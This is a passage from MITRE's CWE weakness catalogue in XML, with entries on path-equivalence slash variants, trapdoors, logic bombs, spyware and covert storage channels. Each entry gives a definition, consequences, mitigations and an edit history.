					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1483</Observed_Example_Reference>
					          <Observed_Example_Description>Read files with full pathname using multiple
						internal slash.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>/multiple//internal/slash ('multiple internal
						slash')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple
						Internal Slash - /multiple//internal/slash</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="510" Name="Trapdoor" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A trapdoor is a hidden piece of code that responds to a special
					input, allowing its user access to resources without passing through the normal
					security enforcement mechanism.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>506</Relationship_Target_ID>
					          <!--Embedded Malicious Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always verify the integrity of the software that is being
							installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify and closely inspect the conditions for entering privileged
							areas of the code, especially those related to authentication, process
							invocation, and network communications.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Trapdoor</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>56</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="511" Name="Logic/Time Bomb" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains code that is designed to disrupt the
					legitimate operation of the software (or its environment) when a certain time
					passes, or when a certain logical condition is met.</Description_Summary>
				        <Extended_Description>
					          <Text>When the time bomb or logic bomb is detonated, it may perform a denial of
						service such as crashing the system, deleting critical data, or degrading
						system response time. This bomb might be placed within either a replicating
						or non-replicating Trojan horse.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>506</Relationship_Target_ID>
					          <!--Embedded Malicious Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always verify the integrity of the software that is being
							installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Conduct a code coverage analysis using live testing, then closely
							inspect the code that is not covered.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Typical examples of triggers include system date or time mechanisms,
						random number generators, and counters that wait for an opportunity to
						launch their payload. When triggered, a time-bomb may deny service by
						crashing the system, deleting files, or degrading system
						response-time.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Logic/Time Bomb</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="512" Name="Spyware" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software collects personally identifiable information about
					a human user or the user's activities, but the software accesses this
					information using other resources besides itself, and it does not require that
					user's explicit approval or direct input into the
					software.</Description_Summary>
				        <Extended_Description>
					          <Text>"Spyware" is a commonly used term with many definitions and
						interpretations. In general, it is meant to software that collects
						information or installs functionality that human users might not allow if
						they were fully aware of the actions being taken by the software. For
						example, a user might expect that tax software would collect a social
						security number and include it when filing a tax return, but that same user
						would not expect gaming software to obtain the social security number from
						that tax software's data.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>506</Relationship_Target_ID>
					          <!--Embedded Malicious Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use spyware detection and removal software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always verify the integrity of the software that is being
							installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="514" Name="Covert Channel" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>A covert channel is a path used to transfer information in a
					way not intended by the system's designers.</Description_Summary>
				        <Extended_Description>
					          <Text>Typically the system has not given authorization for the transmission and
						has no knowledge of its occurrence.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>418</Relationship_Target_ID>
					          <!--Channel Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>518</Relationship_Target_ID>
					          <!--Inadvertently Introduced Weakness-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This can be thought of as an emergent resource, meaning that it was not an
						originally intended resource, however it exists due the application's
						behaviors.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Covert Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>281</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="515" Name="Covert Storage Channel" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A covert storage channel transfers information through the
					setting of bits by one program and the reading of those bits by another. What
					distinguishes this case from that of ordinary operation is that the bits are
					used to convey encoded information.</Description_Summary>
				        <Extended_Description>
					          <Text>Covert storage channels occur when out-of-band data is stored in messages
						for the purpose of memory reuse. Covert channels are frequently classified
						as either storage or timing channels. Examples would include using a file
						intended to hold only audit information to convey user passwords--using the
						name of a file or perhaps status bits associated with it that can be read by
						all users to signal the contents of the file. Steganography, concealing
						information in such a manner that no one but the intended recipient knows of
						the existence of the message, is a good example of a covert storage
						channel.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>514</Relationship_Target_ID>
					          <!--Covert Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Covert storage channels may provide attackers with important
							information about the system in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If these messages or packets are sent with unnecessary data contained
							within, it may tip off malicious listeners as to the process that
							created the message. With this information, attackers may learn any
							number of things, including the hardware platform, operating system, or
							algorithms used by the sender. This information can be of significant
							value to the user in launching further attacks. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all reserved fields are set to zero before messages are
							sent and that no unnecessary information is included.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>An excellent example of covert storage channels in a well known
						application is the ICMP error message echoing functionality. Due to
						ambiguities in the ICMP RFC, many IP implementations use the memory within
						the packet for storage or calculation. For this reason, certain fields of
						certain packets -- such as ICMP error packets which echo back parts of
						received messages -- may contain flaws or extra information which betrays
						information about the identity of the target operating system. This
						information is then used to build up evidence to decide the environment of
						the target. This is the first crucial step in determining if a given system
						is vulnerable to a particular flaw and what changes must be made to
						malicious code to mount a successful attack.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Storage</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Covert storage channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="516" Name="DEPRECATED (Duplicate): Covert Timing Channel" Status="Deprecated" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>This weakness can be found at CWE-385.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="52" Name="Path Equivalence: '/multiple/trailing/slash//'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple trailing slash ('/multiple/trailing/slash//') without appropriate
					validation can lead to ambiguous path resolution and allow an attacker to
					traverse the file system to unintended locations or access arbitrary
					files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>163</Relationship_Target_ID>
					          <!--Improper Neutralization of Multiple Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>289</Relationship_Target_ID>
					          <!--Authentication Bypass by Alternate Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
